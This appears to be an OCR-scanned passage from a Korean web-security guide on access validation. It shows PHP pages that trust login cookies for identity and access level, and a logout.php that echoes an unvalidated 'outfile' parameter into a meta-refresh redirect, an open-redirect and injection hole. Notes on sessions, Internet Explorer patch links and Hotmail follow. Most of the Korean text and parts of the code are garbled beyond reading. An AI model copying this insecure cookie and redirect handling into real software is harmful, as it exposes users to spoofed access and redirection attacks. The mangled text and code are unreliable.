<tr><td>id</td><td><?php echo

SHTTP_COOKIE VARS[loginfo] ["id"]; ?>&nbsp;</td></tr>
<tr><td>name</td><td><?php echo

SHTTP_COOKIE VARS[loginfo] ["name"]; ?> &nbsp;</td></tr>
<tr><td>level</td><td><?php echo

SHTTP_COOKIE VARS[loginfo] ["level"]; ?>&nbsp; </td></tr>
</table>

<center>
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<l-- 2O} F: Al -—>
<form action=logout.php method=post>
<input type=hidden name=outfile value="<?php echo
$PHP_SELF; 2>">
<input type=hidden name=logout value=submit>
<input type=submit value=Z10}-><br>
</form>
<l—— 20} &F: & -—>
</center>
</BODY>

</HTML>

Z30l o (logout.php)e UE

<?php

if( Slogout == "submit" ) {
setcookie ("loginfo[state]"™, "","","/");
setcookie ("loginfo[id]", "","","/");
setcookie ("loginfo[name]", "","","/");
setcookie ("loginfo[level]™, "","","/");

echo "EILo}g-o] HTE.";
// echo Soutfile;
// echo "<br>\n";
echo "<meta http-equiv='Refresh' content='0;

URL=Soutfile'>";
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12.4.Access Validation CHZf

9 Ao HET 9 e QF] BAE JuE §45) e 54
shelel 1% FRE AFHE, o] AU FEAAL AxF 4, 8
AgATE o1& ol gatel Aal AHEAAT MMl HET = Ak S

g o] &3t QFS AL Cookie & o83t} gt s|AE o
cookie o] AR E 912 F vt webA bHg WAl Session = ©]-&
Uk ®E3E IP,0S K, B eke-A T, R4 M
Foll A% 4= Session ¥ A o] &gttt UYL <t

12.4.1. 2115 Access Validation 2 F2oFM si&d A

&0 A7EE AaANEL o9 “12.20.2 B I1%E Access Validation ¢ 3

ok BEANA ANEHAE TAHE digh A4 A E |t
otMac=of| o/t HTTP Cookie 75 =2X4|& s{&=

o F7NF AP A Aol ES] wott)d)

- 7] A BRle] el #A1E flolEd & glus wely
A Aol Feoldet.

- AHEAE BolelAE MRS mrjlom Ausdt £WSIR A
Ao wheh ael7} 91 %
AFH Aol E AT AT 5 gom
Folol e AZAMe} e Eele] AR F7)4re)
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S S g Atk
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Session Q. H A E

E 9§ AtelEdA s olzdt Ao A
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=  http://www.microsoft.com/windows/ie/download/critical/patchg.ht

m
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® Internet Explorer 5.01 Service Pack1 & T ZEZ QI E3HT},
= http://www.microsoft.com/Windows/ie/download/ie501sp1.htm

® Windows 2000 = A 2|+ A]2~¥lo| X Internet Explorer 5.5 & Ul ZE

2 ArnEd,

=  http://www.microsoft.com/windows/ie/download/ie55.htm
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Hotmail ALEXIRIE F2H™

® Hotmail 3| X7} Q7] A 7A] A o) &
o ThE Fu A AAMH A ALE
® IEAXNB IS AREEHA B

® Hotmail AGAE-Foll= WHEA] 2Iokzet v B4 T83AZ
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o =oiolguid vjszel MweAAS Abasie),
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